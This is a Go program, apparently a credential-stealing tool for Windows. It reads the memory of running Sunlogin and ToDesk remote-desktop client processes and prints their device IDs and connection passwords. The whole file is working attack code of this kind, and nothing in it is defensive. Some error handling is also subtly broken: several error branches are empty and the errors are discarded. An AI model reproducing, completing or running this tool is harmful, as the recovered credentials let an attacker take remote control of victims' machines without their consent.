1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278
| package main
import ( "fmt" "regexp" "strconv" "strings" "time" "unsafe"
"github.com/shirou/gopsutil/v3/process" "golang.org/x/sys/windows" )
const ( PROCESS_VM_READ = 0x0010 PROCESS_QUERY_INFORMATION = 0x0400 )
func openProcess(pid int32) (windows.Handle, error) { handle, err := windows.OpenProcess(PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, false, uint32(pid)) if err != nil { } return handle, nil }
func readMemory(handle windows.Handle, address uintptr, size uint32) ([]byte, error) { buffer := make([]byte, size) var bytesRead uintptr err := windows.ReadProcessMemory(handle, address, &buffer[0], uintptr(size), &bytesRead) if err != nil { } return buffer, nil }
func searchMemory(handle windows.Handle, pattern []byte) ([]uintptr, error) { var results []uintptr var memoryInfo windows.MemoryBasicInformation
address := uintptr(0) for { err := windows.VirtualQueryEx(handle, address, &memoryInfo, unsafe.Sizeof(memoryInfo)) if err != nil || memoryInfo.RegionSize == 0 { break }
if memoryInfo.State == windows.MEM_COMMIT && (memoryInfo.Protect&windows.PAGE_READWRITE) != 0 { data, err := readMemory(handle, memoryInfo.BaseAddress, uint32(memoryInfo.RegionSize)) if err == nil { for i := 0; i < len(data)-len(pattern); i++ { if matchPattern(data[i:i+len(pattern)], pattern) { results = append(results, memoryInfo.BaseAddress+uintptr(i)) } } } } address = memoryInfo.BaseAddress + uintptr(memoryInfo.RegionSize) }
return results, nil }
func matchPattern(data, pattern []byte) bool { for i := range pattern { if data[i] != pattern[i] { return false } } return true }
func extractBetween(value, startDelim, endDelim string) string { start := strings.Index(value, startDelim) if start == -1 { return "" } start += len(startDelim)
end := strings.Index(value[start:], endDelim) if end == -1 { return "" }
return value[start : start+end] }
func isNumeric(s string) bool { _, err := strconv.Atoi(strings.TrimSpace(s)) return err == nil }
func getPIDsByName(name string) ([]int32, error) { processes, err := process.Processes() if err != nil { return nil, fmt.Errorf("failed to get processes: %v", err) }
var pids []int32 for _, proc := range processes { procName, err := proc.Name() if err != nil { continue }
if strings.EqualFold(procName, name) { pids = append(pids, proc.Pid) } }
if len(pids) == 0 { return nil, nil }
return pids, nil }
func isProcessExist(name string) (bool, []int32) { pids, err := getPIDsByName(name) if err != nil { return false, nil }
if len(pids) == 0 { return false, nil }
return true, pids }
func getCurrentDateString() string { return time.Now().Format("20060102") }
func xiangrikui(IDArray []int32) { for _, PID := range IDArray { handle, err := openProcess(PID) if err != nil { fmt.Println(err) continue } defer windows.CloseHandle(handle)
pattern := []byte("<f f=yahei.28 c=color_edit >") IDs, err := searchMemory(handle, pattern) if err != nil { fmt.Println("搜索失败:", err) continue }
if len(IDs) >= 17 { for _, id := range IDs { data, err := readMemory(handle, id, 900) if err != nil { fmt.Printf("读取内存失败: %v\n", err) continue }
remoteCode := extractBetween(string(data), ">", "</f>") if isNumeric(strings.ReplaceAll(remoteCode, " ", "")) { fmt.Println("id:", remoteCode) break } } }
passwordPattern := []byte("<f f=yahei.28 c=color_edit >") passwordArray, err := searchMemory(handle, passwordPattern) if err != nil { fmt.Println("搜索密码失败:", err) continue }
if len(passwordArray) >= 9 { for _, addr := range passwordArray { data, err := readMemory(handle, addr, 900) if err != nil { fmt.Printf("读取内存失败: %v\n", err) continue }
password := extractBetween(string(data), ">", "</f>") if len(password) == 6 { fmt.Println("password:", password) break } } }
windows.CloseHandle(handle) } }
func todesk(IDArray []int32) { currentDate := getCurrentDateString() pattern := []byte(currentDate)
for _, PID := range IDArray { handle, err := openProcess(PID) if err != nil { fmt.Println(err) continue } defer windows.CloseHandle(handle)
IDs, err := searchMemory(handle, pattern) if err != nil { fmt.Println("搜索失败:", err) continue }
for _, id := range IDs { startAddress := id - 250 if startAddress < 0 { startAddress = 0 } data, err := readMemory(handle, startAddress, 300) if err != nil { fmt.Printf("读取内存失败: %v\n", err) continue }
dataStr := string(data)
numberPattern := regexp.MustCompile(`\b\d{9}\b`) number := numberPattern.FindString(dataStr) if number != "" { fmt.Println("id", number) }
alphanumPattern := regexp.MustCompile(`\b[a-z0-9]{8}\b`) alphanum := alphanumPattern.FindString(dataStr) if alphanum != "" { fmt.Println("password", alphanum) break } }
windows.CloseHandle(handle) } }
func main() { exists, pids := isProcessExist("SunloginClient.exe") if exists { fmt.Println("向日葵存在:") xiangrikui(pids) }
exists, pids = isProcessExist("ToDesk.exe") if exists { fmt.Println("todesk存在:") todesk(pids) } }
|